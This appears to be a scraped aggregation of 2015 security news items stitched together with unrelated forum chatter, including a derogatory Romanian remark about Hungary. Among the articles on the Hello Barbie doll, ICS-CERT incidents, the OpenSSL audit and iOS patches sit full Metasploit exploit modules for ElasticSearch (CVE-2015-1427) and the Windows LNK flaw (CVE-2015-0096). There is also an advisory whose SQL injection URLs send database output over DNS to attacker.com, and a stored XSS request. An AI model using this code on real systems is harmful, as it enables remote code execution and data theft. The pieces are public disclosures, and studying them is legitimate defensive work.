Aerosol

Privacy activists are urging Mattel to axe its Hello Barbie doll, which sends recordings of children's voices across the internet for voice-recognition analysis. The improbably proportioned doll is fitted with a small embedded computer, a microphone, a speaker and a Wi-Fi interface. When the toy's belt buckle is pressed, Barbie asks a question, and records what the child answers. This reply is encoded and encrypted, and sent over the internet to servers to be processed by voice-recognition software. That software then sends back a command to the doll to playback a reply stored in the toy. Barbie is programmed with various questions, jokes and quips, which are picked by the backend software in response to whatever the kid wants to talk about. This is supposed to convince youngsters that Barbie is a kind and thoughtful miniature friend. Meanwhile, the backend systems can email reports to parents on what their tykes are nattering about. Mattel and San Francisco-based startup ToyTalk developed Hello Barbie, and showed it off last month at the Toy Fair 2015 convention in New York City. At the time, El Reg drilled into the news, and highlighted privacy concerns surrounding the toy. For one thing, recordings of children's voices are stored on remote computers so ToyTalk can apparently improve its voice-recognition engine. Now the Campaign for a Commercial-Free Childhood (CCFC) has fired up a petition against Hello Barbie, citing The Register's coverage. The group is upset that the doll will collect a child's private thoughts, and store them on Mattel's systems. This could be used for marketing purposes, and doesn't encourage creative play, the campaigners fear. "If I had a young child, I would be very concerned that my child's intimate conversations with her doll were being recorded and analyzed," said Georgetown University Law Professor Angela Campbell, a faculty advisor to the school's Center on Privacy and Technology. "In Mattel's demo, Barbie asks many questions that would elicit a great deal of information about a child, her interests, and her family. This information could be of great value to advertisers and be used to market unfairly to children." Er, advertising? "Computer algorithms can't replace — and should not displace—the nuanced responsiveness of caring people interacting with one another," said pediatrician and CCFC Board member Dr Dipesh Navsaria, assistant professor at the University of Wisconsin School of Medicine and Public Health. "Children's well-being and healthy development demand relationships and conversations with real people and real friends. Children do not need commercially manufactured messages – artificially created after listening in on anyone within range of Mattel's microphones." Although the group cites our story, the activists may want to read it again. Mattel's servers don't hold the conversations Hello Barbie records, ToyTalk does, and the startup has stated explicitly that the audio will never be used for advertising purposes. The SF upstart says it has its eyes on a larger prize: developing an accurate voice recognition system for children. The lion's share of voice-recognition programming has been developed with adult's voices, but kids use a different voice cadences, sentence structures and verbiage. Hello Barbie is just a prototype at the moment, and is expected to go on sale for Christmas. While it's true that the firm's privacy policy may change by the time the toy hits the shelves, based on our conversations with ToyTalk, it seems set on avoiding Barbie becoming an advertising channel. Worrying about ads is missing the real issues, we think, which are security and privacy. So far the group has collected 1,738 signatures for its petition. "All of ToyTalk’s products in market have been designed to meet or exceed the Children’s Online Privacy Protection Act (COPPA) and have also been independently verified as such by KidSAFE+," Oren Jacob, CEO of ToyTalk, told The Register today. "While the underlying technology of our products works much like Siri, Google Now, and Cortana, ToyTalk products never search the open web for answers. Responses are carefully crafted by our own writing team, and conversations recorded through our products are never used to advertise or market to children or anyone." Source

US industrial control systems were hit by cyber attacks at least 245 times over a 12-month period, the US Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) has revealed. The figure was included in a report by the ICS-CERT, which operates within the National Cybersecurity and Integration Center, itself a part of the Department of Homeland Security. The report is classed as covering the 2014 fiscal year which, under US government dates, was between 1 October 2013 and 30 September 2014. “ICS-CERT received and responded to 245 incidents reported by asset owners and industry partners,” the report said. The energy sector accounted for the most incidents at 79, but perhaps the more alarming figure is that 65 incidents concerned cyber infiltration of the manufacturers of ICS hardware. “The ICS vendor community may be a target for sophisticated threat actors for a variety of reasons, including economic espionage and reconnaissance,” the report said. The data below shows the various industries that ICS-CERT was called on to help. The group said that 55 percent of investigated incidents showed signs that advanced persistent threats had been used to breach systems. “Other actor types included hacktivists, insider threats and criminals. In many cases, the threat actors were unknown due to a lack of attributional data,” it added. The graph below shows the various forms of attack methods uncovered by the ICS-CERT, although worryingly the vast majority of attacks were untraceable. The ICS-CERT did reveal, however, that some of its work related to hacks that used the Havex and Black Energy malware revealed during 2014. “ICS-CERT has provided onsite and remote assistance to various critical infrastructure companies to perform forensic analysis of their control systems and conduct a deep dive analysis into Havex and Black Energy malware,” it said. The ICS-CERT also acknowledged that it is highly likely that it was unaware of other incidents that will have occurred during the period. “The 245 incidents are only what was reported to ICS-CERT, either by the asset owner or through relationships with trusted third-party agencies and researchers. Many more incidents occur in critical infrastructure that go unreported,” the report said. The report comes amid rising concerns that industrial control systems are being targeted by Russian hackers, who are seen as new and highly sophisticated players in the cyber arena. Source

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'ElasticSearch Search Groovy Sandbox Bypass', 'Description' => %q{ This module exploits a remote command execution (RCE) vulnerability in ElasticSearch, exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the REST API, which does not require authentication, where the search function allows groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName to reference arbitrary classes. It can be used to execute arbitrary Java code. This module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04. }, 'Author' => [ 'Cameron Morris', # Vulnerability discovery 'Darren Martyn', # Public Exploit 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-1427'], ['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'], ['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'], ['URL', 'http://drops.wooyun.org/papers/5107'] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ ['ElasticSearch 1.4.2', {}] ], 'DisclosureDate' => 'Feb 11 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9200), OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"]) ], self.class) end def check result = Exploit::CheckCode::Safe if vulnerable? result = Exploit::CheckCode::Vulnerable end result end def exploit print_status("#{peer} - Checking vulnerability...") unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...") end print_status("#{peer} - Discovering TEMP path...") res = execute(java_tmp_dir) tmp_dir = parse_result(res) if tmp_dir.nil? fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...") else print_good("#{peer} - TEMP path on '#{tmp_dir}'") end print_status("#{peer} - Discovering remote OS...") res = execute(java_os) os = parse_result(res) if os.nil? fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...") else print_good("#{peer} - Remote OS is '#{os}'") end if os =~ /win/i tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar" else tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar") end register_files_for_cleanup(tmp_file) print_status("#{peer} - Trying to load metasploit payload...") java = java_load_class(os, tmp_file) execute(java) end def vulnerable? java = 'java.lang.Math.class.forName("java.lang.Runtime")' vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...") res = execute(java) result = parse_result(res) if result.nil? vprint_status("#{peer} - no response to test") return false elsif result == 'class java.lang.Runtime' return true end false end def parse_result(res) unless res vprint_error("#{peer} - No response") return nil end unless res.code == 200 && res.body vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)") return nil end begin json = JSON.parse(res.body.to_s) rescue JSON::ParserError return nil end begin result = json['hits']['hits'][0]['fields']['msf_result'] rescue return nil end result.is_a?(::Array) ? result.first : result end def java_tmp_dir 'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")' end def java_os 'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")' end def java_load_class(os, tmp_file) if os =~ /win/i tmp_file.gsub!(/\\/, '\\\\\\\\') end java = [ 'c=java.lang.Math.class.forName("java.io.FileOutputStream");', 'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");', "i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");", 'b64_i=b64.newInstance();', "i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));", 'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");', 'file_class=java.lang.Math.class.forName("java.io.File");', "file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();", 'loader=loader_class.newInstance();', 'loader.addURL(file_url);', 'm=loader.loadClass(\'metasploit.Payload\');', 'm.main(null);' ] java.join end def execute(java, timeout = 20) payload = { "size" => 1, "query" => { "filtered" => { "query" => { "match_all" => {} } } }, "script_fields" => { "msf_result" => { "script" => java } } } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, "_search"), 'method' => 'POST', 'data' => JSON.generate(payload) }, timeout) res end end Source

Advisory ID: HTB23250 Product: Huge IT Slider WordPress Plugin Vendor: Huge-IT Vulnerable Version(s): 2.6.8 and probably prior Tested Version: 2.6.8 Advisory Publication: February 19, 2015 [without technical details] Vendor Notification: February 19, 2015 Vendor Patch: March 11, 2015 Public Disclosure: March 12, 2015 Vulnerability Type: SQL Injection [CWE-89] CVE Reference: CVE-2015-2062 Risk Level: Medium CVSSv2 Base Score: 6 (AV:N/AC:M/Au:S/C:P/I:P/A:P) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered an SQL injection vulnerability in Huge IT Slider WordPress Plugin. This vulnerability can be exploited by website administrators as well as anonymous attackers to inject and execute arbitrary SQL queries within the application’s database. 1) SQL injection in Huge IT Slider WordPress plugin: CVE-2015-2062 The vulnerability exists due to insufficient filtration of input data passed via the "removeslide" HTTP GET parameter to "/wp-admin/admin.php" script when "task" parameter is set to "popup_posts" or "edit_cat". A remote authenticated attacker with administrative privileges can execute arbitrary SQL queries within the application’s database. Below are two simple exploit codes that are based on DNS Exfiltration technique. They can be used if the database of the vulnerable application is hosted on a Windows system. The codes will send a DNS request requesting IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker). 1. Exploit example for "task=popup_posts": http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=popup_posts&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- 2. Exploit example for "task=edit_cat": http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=edit_cat&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- This vulnerability can be also exploited remotely by non-authenticated attackers using CSRF vector, since the web application is also prone to Cross-Site Request Forgery attacks. The attacker could use the following exploit code against authenticated website administrator to determine version of installed MySQL server: <img src="http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=popup_posts&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) --"> ----------------------------------------------------------------------------------------------- Solution: Update to Huge IT Slider 2.7.0 More Information: https://wordpress.org/support/topic/huge-it-slider-security-vulnerability-notification-sql-injection ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23250 - https://www.htbridge.com/advisory/HTB23250 - SQL Injection in Huge IT Slider WordPress Plugin. [2] Huge IT Slider WordPress Plugin - http://huge-it.com/ - Huge IT slider is a convenient tool for organizing the images represented on your website into sliders. Each product on the slider is assigned with a relevant slider, which makes it easier for the customers to search and identify the needed images within the slider. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. Source

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE attr_accessor :dll_base_name attr_accessor :exploit_dll_base_name def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Shell LNK Code Execution', 'Description' => %q{ This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This module creates the required files to exploit the vulnerability. They must be uploaded to an UNC path accessible by the target. This module has been tested successfully on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027 installed. }, 'Author' => [ 'Michael Heerklotz', # Vulnerability discovery 'juan vazquez' # msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-0096'], ['MSB', 'MS15-020'], ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'], ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ ['Automatic', { }] ], 'DisclosureDate' => 'Mar 10 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']), OptString.new('UNCHOST', [true, 'The host portion of the UNC path to provide to clients (ex: 1.2.3.4).']), OptString.new('UNCSHARE', [true, 'The share folder portion of the UNC path to provide to clients (ex: share).']), ], self.class) end def smb_host "\\\\#{datastore['UNCHOST']}\\#{datastore['UNCSHARE']}\\" end def exploit_dll_filename name_length = 257 - (smb_host.length + 4 + 2) self.dll_base_name = dll_base_name || rand_text_alpha(1) self.exploit_dll_base_name = exploit_dll_base_name || rand_text_alpha(name_length) "#{dll_base_name} #{exploit_dll_base_name}.dll" end def dll_filename self.dll_base_name = dll_base_name || rand_text_alpha(1) "#{dll_base_name}.dll" end def create_exploit_file(file_name, data) unless ::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end path = File.join(Msf::Config.local_directory, file_name) full_path = ::File.expand_path(path) File.open(full_path, 'wb') { |fd| fd.write(data) } full_path end def dll_create(data) full_path = create_exploit_file(dll_filename, data) print_good "DLL with payload stored at #{full_path}" end def exploit_dll_create(data) full_path = create_exploit_file(exploit_dll_filename, data) print_good "Fake dll to exploit stored at #{full_path}" end def exploit dll = generate_payload_dll dll_create(dll) exploit_dll_create(dll) lnk = generate_link("#{smb_host}#{exploit_dll_filename}") file_create(lnk) end # stolen from ms10_046_shortcut_icon_dllloader, all the credits to the original authors: 'hdm', 'jduck', 'B_H' def generate_link(unc) uni_unc = unc.unpack('C*').pack('v*') path = '' path << [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') path << uni_unc # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') idlist_data = '' idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [path.length + 2].pack('v') idlist_data << path idlist_data << [0x00].pack('v') # TERMINAL WOO # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData blocks (none) ret << [rand(4)].pack('V') # Patch in the LinkFlags ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N') ret end end Source

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::SMB::Server::Share attr_accessor :exploit_dll_name def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Shell LNK Code Execution', 'Description' => %q{ This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This creates an SMB resource to provide the payload and the trigger, and generates a LNK file which must be sent to the target. This module has been tested successfully on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027 installed. }, 'Author' => [ 'Michael Heerklotz', # Vulnerability discovery 'juan vazquez' # msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-0096'], ['MSB', 'MS15-020'], ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'], ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Mar 10 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']) ], self.class) register_advanced_options( [ OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false]) ], self.class) deregister_options('FILE_CONTENTS', 'FILE_NAME') end def smb_host "\\\\#{srvhost}\\#{share}\\" end def setup super self.file_contents = generate_payload_dll random_char = rand_text_alpha(1) self.file_name = "#{random_char}.dll" prefix = "#{random_char} " random_length = 257 - smb_host.length - file_name.length - prefix.length self.exploit_dll_name = "#{prefix}#{rand_text_alpha(random_length)}#{file_name}" print_status("Payload available on #{unc}...") print_status("Trigger available on #{smb_host}#{exploit_dll_name}...") end def primer lnk = generate_link("#{smb_host}#{exploit_dll_name}") file_create(lnk) print_status('The LNK file must be sent or shared with the target...') end def generate_link(unc) uni_unc = unc.unpack('C*').pack('v*') path = '' path << [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') path << uni_unc # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') idlist_data = '' idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [path.length + 2].pack('v') idlist_data << path idlist_data << [0x00].pack('v') # TERMINAL WOO # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData blocks (none) ret << [rand(4)].pack('V') # Patch in the LinkFlags ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N') ret end end Source

Toti am face asta stai linistit Cica sa nu-i scuipi cand ii vezi pe strada, daca noi suntem Statul Islamic, Ungarie ce e? Africa Europei?

Salut si bine ai venit. ( Ce cunostiinte ai [ ce stii sa faci? ], cum ai ajuns pe RST? )

#Vulnerability title: Community Gallery - Srored Corss-Site Scripting vulnerability #Product: Community Gallery #Vendor: https://www.woltlab.com #Affected version: Community Gallery 2.0 before 12/10/2014 #Download link: https://www.woltlab.com/purchase/?products[]=com.woltlab.gallery #Fixed version: Community Gallery 2.0 after 12/26/2014 #CVE ID: CVE-2015-2275 #Author: Pham Kien Cuong (cuong.k.pham@itas.vn) & ITAS Team (www.itas.vn) ::PROOF OF CONCEPT:: + REQUEST: POST /7788bdbc/gallery/index.php/AJAXProxy/?t=7d53f8ad7553c0f885e3ccb60edbc0b6512 d9eed HTTP/1.1 Host: target User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://target/7788bdbc/gallery/index.php/ImageEdit/7/ Content-Length: 1300 Cookie: wcf_cookieHash=f774ed47049756db7f6f635748b497cf08b6fef3; __cfduid=dceb0da13e569549c9531d07b3d287acb1420598620 Authorization: Basic Nzc4OGJkYmM6OWM1NWE3OWM= Connection: keep-alive Pragma: no-cache Cache-Control: no-cache actionName=saveImageData&className=gallery%5Cdata%5Cimage%5CImageAction&obje ctIDs%5B%5D=7&parameters%5Bdata%5D%5B7%5D%5BalbumID%5D=1&parameters%5Bdata%5 D%5B7%5D%5BcategoryIDs%5D%5B%5D=3&parameters%5Bdata%5D%5B7%5D%5Bdescription% 5D=test&parameters%5Bdata%5D%5B7%5D%5BenableComments%5D=1&parameters%5Bdata% 5D%5B7%5D%5Bfilename%5D=HoaMai1.jpg&parameters%5Bdata%5D%5B7%5D%5Bfilesize%5 D=47948&parameters%5Bdata%5D%5B7%5D%5Bheight%5D=480&parameters%5Bdata%5D%5B7 %5D%5BimageID%5D=7&parameters%5Bdata%5D%5B7%5D%5Blatitude%5D=0&parameters%5B data%5D%5B7%5D%5Blongitude%5D=0&parameters%5Bdata%5D%5B7%5D%5Borientation%5D =1&parameters%5Bdata%5D%5B7%5D%5Btags%5D%5B%5D=testing&parameters%5Bdata%5D% 5B7%5D%5BthumbnailHeight%5D=0&parameters%5Bdata%5D%5B7%5D%5BthumbnailWidth%5 D=0&parameters%5Bdata%5D%5B7%5D%5BthumbnailX%5D=0&parameters%5Bdata%5D%5B7%5 D%5BthumbnailY%5D=0&parameters%5Bdata%5D%5B7%5D%5BtinyURL%5D=http%3A%2F%2Fde mo.woltlab.com%2F7788bdbc%2Fgallery%2FuserImages%2F21%2F7-2147cd1e-tiny.jpg& parameters%5Bdata%5D%5B7%5D%5Btitle%5D=%3Cscript%3Ealert('XSS')%3C%2Fscript% 3E&parameters%5Bdata%5D%5B7%5D%5Burl%5D=http%3A%2F%2Fdemo.woltlab.com%2F7788 bdbc%2Fgallery%2FuserImages%2F21%2F7-2147cd1e.jpg&parameters%5Bdata%5D%5B7%5 D%5Bwidth%5D=640&parameters%5Bdata%5D%5B7%5D%5Blocation%5D=&parameters%5BisE dit%5D=1 - Vulnerable parameter: parameters[data][7][title] ::DISCLOSURE:: + 12/10/2014: Detect vulnerability + 12/10/2014: Send the detail vulnerability to vendor + 03/11/2015: Public information ::REFERENCE:: - http://www.itas.vn/news/itas-team-found-out-a-stored-xss-vulnerability-in-bu rning-board-community-gallery-77.html ::DISCLAIMER:: THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK. -------------------------------------------- ITAS Team (www.itas.vn) Source

Funding from the Core Infrastructure Initiative has helped the maintainers of OpenSSL, one of the Internet’s most-deployed pieces of open source software, begin to get the crypto implementation on its feet. Despite its ubiquity, OpenSSL has historically been under-funded and under-resourced, though no one outside those close to the project knew how dire the situation was until Heartbleed and other Internet-wide bugs started experts looking closely at the security of open source software. With funding from CII and other corners of the Internet, full time help has been hired to maintain the regular flow of patches and feature upgrades, and since last spring, get the code base ship-shape for a full-fledged security audit. NCC Group Cryptography Services, the security company behind the first phase of the TrueCrypt audit, Monday announced that it, in partnership with the Linux Foundation, will conduct an audit of OpenSSL, looking at key components likely to put installations at risk in the event of a critical vulnerability. “A number of folks who have contributed their free time and professional time, kept OpenSSL growing,” said Tom Ritter, principal security engineer at NCC. “A lot of those contributions were around making OpenSSL more efficient and improving speed—and security improvements. Now, being able to have people work on it fulltime in a maintenance capacity goes long way. Any project that old accumulates technical debt takes that takes time and effort to pay down. Having fulltime focus on bug maintenance is super important.” OpenSSL’s code cleanup paved the way for the audit, Ritter said. Engineers spent significant time re-reading areas of code of most concern—and fixing bugs along the way—in order to make the code more reliable, consistent and secure. Ritter said work on the audit should begin shortly, and the first set of results will be made available mid-Summer after OpenSSL has had time to review the results and patch. Ritter said the audit will be concentrated only in certain critical areas of the OpenSSL codebase, and will not be comprehensive. In scope are the TLS stacks, covering protocol flow, state transitions, and memory management. The BIOS, high-profile crypto algorithms and fuzzing of the ASN.1 and x509 parsers will also happen, Ritter said, adding that input and feedback from the current OpenSSL team also contributed to what ultimately ended up in scope for the audit. “We chose areas around OpenSSL where a flaw here might be of higher severity than other areas,” Ritter said. “The types of things we’ll be looking for are things such as protocol mishandling or state transitions, things like that, even timing attacks in crypto algorithms, or memory corruption that would yield a denial of service condition or remote code execution. Those are the types of bugs looking for. If find one of those, it has the possibility of being fairly critical.” Unlike the TrueCrypt audit where one of the stated goals was to determine whether the popular encryption software had been backdoored, that isn’t necessarily the case with OpenSSL, Ritter said. “You haven’t heard much about [backdoors] in OpenSSL,” Ritter said. “Our real goal is to find any sort of exploitable security concerns. I think that we’re focusing on it from the perspective of a security audit.” Expect Ritter and his team to spend plenty of time in front of large whiteboards for the next few months, tracing out function flows and diagram the code in order to support the manual and automated code review it will take to properly assess OpenSSL. And while the audit may not yield something as dramatic as Heartbleed, you can expect Ritter’s team to be looking in that direction. “Certainly looking at historical bugs in the platform gives us an idea of the types of flaws present still; it will be helpful,” Ritter said. “I’m not going to say we’re doing to go in expecting to find any particular bug in a particular area, but looking at historical bugs does guide us in certain areas as do a lot of the less high-profile bugs. Looking at just about any bug and seeing the underlying causes of it gives us a sense that if something similar is happening elsewhere, there could be a bug there.” Source

Apple has patched the FREAK SSL vulnerability, along with a nasty bug that could’ve allowed a remote attacker to restart a user’s iPhone via SMS, with the release of iOS 8.2. The new version of Apple’s mobile operating system contains a number of vulnerability fixes, with the FREAK patch being the most prominent among them. That vulnerability is caused by the fact that some SSL clients and servers will accept weak 512-bit RSA keys in some circumstances, allowing an attacker who can intercept that key to then factor it offline and decrypt future secure sessions. “Secure Transport accepted short ephemeral RSA keys, usually used only in export-strength RSA cipher suites, on connections using full-strength RSA cipher suites. This issue, also known as FREAK, only affected connections to servers which support export-strength RSA cipher suites, and was addressed by removing support for ephemeral RSA keys,” the Apple advisory says. The remote restart issue is caused by a vulnerability in the CoreTelephony component of iOS. An attacker using this bug could cause a device to restart without the user’s interaction. “A null pointer dereference issue existed in CoreTelephony’s handling of Class 0 SMS messages. This issue was addressed through improved message validation,” Apple’s advisory 